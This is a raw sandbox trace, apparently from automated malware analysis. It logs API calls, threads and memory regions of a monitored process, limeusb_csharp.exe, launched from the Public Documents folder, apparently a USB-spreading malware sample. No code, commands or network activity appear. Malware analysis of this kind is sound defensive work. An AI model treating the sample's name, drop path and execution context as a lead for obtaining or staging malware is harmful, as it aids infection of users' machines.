VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.913] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.913] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.913] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.913] VarDecCmp (pdecLeft=0x5b7e2e0, pdecRight=0x5b7e2d0) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.913] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.914] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0215.914] VarDecCmp (pdecLeft=0x5b7e260, pdecRight=0x5b7e250) returned 0x1 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e30c, pdblOut=0x5b7e2f8 | out: pdblOut=0x5b7e2f8) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e320, pdblOut=0x5b7e30c | out: pdblOut=0x5b7e30c) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e30c, pdblOut=0x5b7e2f8 | out: pdblOut=0x5b7e2f8) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e320, pdblOut=0x5b7e30c | out: pdblOut=0x5b7e30c) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e30c, pdblOut=0x5b7e2f8 | out: pdblOut=0x5b7e2f8) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e320, pdblOut=0x5b7e30c | out: pdblOut=0x5b7e30c) returned 0x0 [0216.318] VarR8FromDec (in: pdecIn=0x5b7e30c, pdblOut=0x5b7e2f8 | out: pdblOut=0x5b7e2f8) returned 0x0 [0216.318] VarDecCmp (pdecLeft=0x5b7e1ec, pdecRight=0x5b7e1dc) returned 0x0 [0216.318] VarDecCmp (pdecLeft=0x5b7e1ec, pdecRight=0x5b7e1dc) returned 0x0 [0216.318] VarDecCmp (pdecLeft=0x5b7e1ec, pdecRight=0x5b7e1dc) returned 0x0 [0216.318] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e1f8, pdecRight=0x5b7e1e8) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e1f8, pdecRight=0x5b7e1e8) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e1ec, pdecRight=0x5b7e1dc) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e1ec, pdecRight=0x5b7e1dc) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e1f8, pdecRight=0x5b7e1e8) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e218, pdecRight=0x5b7e208) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e1f8, pdecRight=0x5b7e1e8) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e2c8, pdecRight=0x5b7e2b8) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e2a8, pdecRight=0x5b7e298) returned 0x2 [0216.319] VarDecCmp (pdecLeft=0x5b7e2c8, pdecRight=0x5b7e2b8) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e2a8, pdecRight=0x5b7e298) returned 0x2 [0216.319] VarDecCmp (pdecLeft=0x5b7e2c8, pdecRight=0x5b7e2b8) returned 0x0 [0216.319] VarDecCmp (pdecLeft=0x5b7e2a8, pdecRight=0x5b7e298) returned 0x2 [0216.319] VarDecCmp (pdecLeft=0x5b7e20c, pdecRight=0x5b7e1fc) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e18c, pdecRight=0x5b7e17c) returned 0x1 [0216.319] VarDecCmp (pdecLeft=0x5b7e18c, pdecRight=0x5b7e17c) returned 0x1 [0216.320] VarDecCmp (pdecLeft=0x5b7e18c, pdecRight=0x5b7e17c) returned 0x1 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e178, pdblOut=0x5b7e164 | out: pdblOut=0x5b7e164) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e18c, pdblOut=0x5b7e178 | out: pdblOut=0x5b7e178) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e178, pdblOut=0x5b7e164 | out: pdblOut=0x5b7e164) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e18c, pdblOut=0x5b7e178 | out: pdblOut=0x5b7e178) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e178, pdblOut=0x5b7e164 | out: pdblOut=0x5b7e164) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e2d8, pdblOut=0x5b7e2c4 | out: pdblOut=0x5b7e2c4) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e2ec, pdblOut=0x5b7e2d8 | out: pdblOut=0x5b7e2d8) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e2d8, pdblOut=0x5b7e2c4 | out: pdblOut=0x5b7e2c4) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e2ec, pdblOut=0x5b7e2d8 | out: pdblOut=0x5b7e2d8) returned 0x0 [0216.321] VarR8FromDec (in: pdecIn=0x5b7e2d8, pdblOut=0x5b7e2c4 | out: pdblOut=0x5b7e2c4) returned 0x0 [0216.322] VarR8FromDec (in: pdecIn=0x5b7e2ec, pdblOut=0x5b7e2d8 | out: pdblOut=0x5b7e2d8) returned 0x0 [0216.322] VarR8FromDec (in: pdecIn=0x5b7e2d8, pdblOut=0x5b7e2c4 | out: pdblOut=0x5b7e2c4) returned 0x0 [0245.504] CoUninitialize () Thread: id = 80 os_tid = 0x83c Thread: id = 81 os_tid = 0x830 [0157.281] CoGetContextToken (in: pToken=0x5b2f6d4 | out: pToken=0x5b2f6d4) returned 0x0 [0157.281] CObjectContext::QueryInterface () returned 0x0 [0157.281] CObjectContext::GetCurrentThreadType () returned 0x0 [0157.281] Release () returned 0x0 [0157.281] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 82 os_tid = 0x838 Thread: id = 83 os_tid = 0x9d4 Thread: id = 84 os_tid = 0x9e0 Thread: id = 85 os_tid = 0x9e8 Thread: id = 90 os_tid = 0x9c Thread: id = 91 os_tid = 0x410 Thread: id = 92 os_tid = 0xa34 [0173.804] CoGetContextToken (in: pToken=0x5e0f284 | out: pToken=0x5e0f284) returned 0x0 [0173.804] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0f2a8 | out: ppvObject=0x5e0f2a8*=0x33feb4) returned 0x0 [0173.810] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x5e0f2d4 | out: pThreadType=0x5e0f2d4*=0) returned 0x0 [0173.810] IUnknown:Release (This=0x33feb4) returned 0x0 [0173.833] CoGetContextToken (in: pToken=0x5e0f284 | out: pToken=0x5e0f284) returned 0x0 [0173.833] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0f2a8 | out: ppvObject=0x5e0f2a8*=0x33feb4) returned 0x0 [0173.833] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x5e0f2d4 | out: pThreadType=0x5e0f2d4*=0) returned 0x0 [0173.833] IUnknown:Release (This=0x33feb4) returned 0x0 Thread: id = 93 os_tid = 0xa4c Thread: id = 98 os_tid = 0x69c Thread: id = 99 os_tid = 0x520 Thread: id = 100 os_tid = 0xa1c Thread: id = 101 os_tid = 0x78c Thread: id = 106 os_tid = 0xa14 Thread: id = 107 os_tid = 0x12c Thread: id = 108 os_tid = 0x3b0 Thread: id = 110 os_tid = 0x234 Thread: id = 114 os_tid = 0xa54 Thread: id = 115 os_tid = 0xa5c Thread: id = 120 os_tid = 0x9a4 Thread: id = 121 os_tid = 0x7b0 [0217.366] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0217.367] CoGetContextToken (in: pToken=0x5e4f4c4 | out: pToken=0x5e4f4c4) returned 0x0 [0217.367] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4f4e8 | out: ppvObject=0x5e4f4e8*=0x33feb4) returned 0x0 [0217.367] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x5e4f514 | out: pThreadType=0x5e4f514*=0) returned 0x0 [0217.367] IUnknown:Release (This=0x33feb4) returned 0x0 [0217.367] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0217.367] CoUninitialize () [0241.308] CoUninitialize () Thread: id = 123 os_tid = 0x5c0 Thread: id = 144 os_tid = 0x838 Thread: id = 146 os_tid = 0x97c Thread: id = 147 os_tid = 0x9e8 Thread: id = 148 os_tid = 0x494 [0263.934] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0263.937] CoGetContextToken (in: pToken=0x4e8f5c4 | out: pToken=0x4e8f5c4) returned 0x0 [0263.937] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4e8f5e8 | out: ppvObject=0x4e8f5e8*=0x33feb4) returned 0x0 [0263.937] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x4e8f614 | out: pThreadType=0x4e8f614*=0) returned 0x0 [0263.937] IUnknown:Release (This=0x33feb4) returned 0x0 [0263.937] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0263.937] CoUninitialize () Thread: id = 149 os_tid = 0xa20 Process: id = "10" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x38e6c000" os_pid = "0xa78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1951 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1952 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1953 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1954 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1955 start_va = 0x3b0000 end_va = 0xe73fff monitored = 1 entry_point = 0xe6e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 1956 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1957 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1958 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1959 start_va = 0x7fffa000 end_va = 0x7fffafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffa000" filename = "" Region: id = 1960 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1961 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1962 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1963 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1964 start_va = 0x190000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1965 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1966 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1967 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1968 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1969 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1970 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1971 start_va = 0x190000 end_va = 0x1f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1972 start_va = 0x200000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1973 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1974 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 1975 start_va = 0xf80000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 1976 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1977 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1978 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1979 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1980 start_va = 0x200000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1981 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1982 start_va = 0x1030000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 1983 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1988 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1989 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1990 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1991 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1992 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1993 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1994 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1995 start_va = 0x1130000 end_va = 0x12b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001130000" filename = "" Region: id = 1996 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1997 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1998 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1999 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2000 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2001 start_va = 0x12c0000 end_va = 0x1440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012c0000" filename = "" Region: id = 2002 start_va = 0x1450000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001450000" filename = "" Region: id = 2003 start_va = 0x2850000 end_va = 0x330cfff monitored = 1 entry_point = 0x330e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2004 start_va = 0x2850000 end_va = 0x330cfff monitored = 1 entry_point = 0x330e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2005 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2006 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2007 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2008 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2009 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2010 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2011 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2012 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2013 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2014 start_va = 0x7fe91870000 end_va = 0x7fe9187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91870000" filename = "" Region: id = 2015 start_va = 0x7fe91880000 end_va = 0x7fe9188ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91880000" filename = "" Region: id = 2016 start_va = 0x7fe91890000 end_va = 0x7fe9191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 2017 start_va = 0x7fe91920000 end_va = 0x7fe9198ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91920000" filename = "" Region: id = 2018 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2019 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2020 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2021 start_va = 0x2850000 end_va = 0x299ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 2022 start_va = 0x29a0000 end_va = 0x2b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 2023 start_va = 0x2cd0000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 2024 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2025 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = 